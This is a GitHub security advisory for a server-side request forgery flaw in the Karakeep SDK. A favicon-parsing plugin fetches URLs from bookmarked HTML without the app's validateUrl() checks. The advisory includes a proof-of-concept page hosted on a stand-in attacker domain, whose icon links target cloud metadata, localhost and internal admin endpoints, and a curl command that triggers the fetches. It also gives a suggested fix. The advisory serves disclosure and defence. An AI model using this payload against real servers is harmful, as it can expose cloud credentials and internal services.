Skip to content

Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections

High severity GitHub Reviewed Published May 8, 2026 in karakeep-app/karakeep • Updated May 14, 2026

Package

npm @karakeep/sdk (npm)

Affected versions

<= 0.31.0

Patched versions

0.32.0

Description

Summary

The metascraper-logo-favicon plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's validateUrl() SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted <link rel="icon"> tag.

Details

Protected path (correct)

Karakeep implements comprehensive SSRF protections in apps/workers/network.ts (lines 12-222). The validateUrl() function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by fetchWithProxy() for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.

Unprotected path (vulnerability)

After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (apps/workers/scripts/parseHtmlSubprocess.ts). Inside this subprocess, metascraper-logo-favicon (v5.49.5) extracts favicon URLs from the HTML DOM by matching <link rel="icon"> elements and reading their href attribute.

The plugin then calls reachable-url (which wraps got) to verify each extracted URL. These HTTP requests bypass validateUrl() entirely:

// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73
metascraperLogo({
    gotOpts: {
      agent: {
        http: serverConfig.proxy.httpProxy
          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))
          : undefined,
        https: serverConfig.proxy.httpsProxy
          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))
          : undefined,
      },
    },
  }),

Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The got HTTP client makes direct requests to whatever URLs are extracted from the HTML.

Data flow

1. User creates bookmark → URL validated by validateUrl() ✓
2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓
3. HTML passed to parseHtmlSubprocess via stdin
4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML
5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗
6. Server makes HTTP GET to attacker-controlled internal URL

Comparison

The application explicitly protects the main URL fetch with validateUrl() (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.

PoC

1. Set up a malicious page on a public URL

<!-- Hosted at https://attacker.example.com/ssrf.html -->
<html>
<head>
  <title>Innocent Page</title>
  <link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">
  <link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128">
  <link rel="icon" href="http://192.168.1.1/admin" sizes="64x64">
</head>
<body><p>Normal content</p></body>
</html>

2. Create a bookmark via the API

curl -X POST http://localhost:3000/api/v1/bookmarks \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}'

3. Result

The main URL (https://attacker.example.com/ssrf.html) passes validateUrl() since it resolves to a public IP. After the HTML is fetched, metascraper-logo-favicon extracts the favicon URLs and calls reachable-url/got to verify them. The server makes HTTP GET requests to:

  • http://169.254.169.254/latest/meta-data/ (AWS IMDS)
  • http://127.0.0.1:3000/api/v1/users/whoami (localhost)
  • http://192.168.1.1/admin (internal network)

These requests bypass all SSRF protections.

Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.

Impact

  • Cloud metadata access: On AWS/GCP/Azure deployments, the server can be forced to fetch instance metadata (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) which may expose IAM credentials.
  • Internal service discovery: Attacker can probe internal network services and ports by checking whether the favicon URL was reachable.
  • Redirect-based data leak: If an internal service responds with a redirect, the final URL (potentially containing tokens or session data) is stored as the bookmark's logo field and visible to the attacker.
  • Bypass of explicit security controls: The application's SSRF protections (IP blacklist, DNS resolution, redirect validation) are rendered ineffective for this code path.

Suggested Fix

// apps/workers/scripts/parseHtmlSubprocess.ts
+ import { validateUrl } from "network";
+
+ // Create a got hook that validates URLs before requests
+ const ssrfHook = {
+   beforeRequest: [
+     async (options) => {
+       const result = await validateUrl(options.url.toString(), false);
+       if (!result.ok) {
+         throw new Error(`SSRF blocked: ${result.reason}`);
+       }
+     }
+   ]
+ };
+
  metascraperLogo({
      gotOpts: {
+       hooks: ssrfHook,
        agent: { ... },
      },
  }),

Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).

References

@MohamedBassem MohamedBassem published to karakeep-app/karakeep May 8, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-7rx4-c5vx-g8w3

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.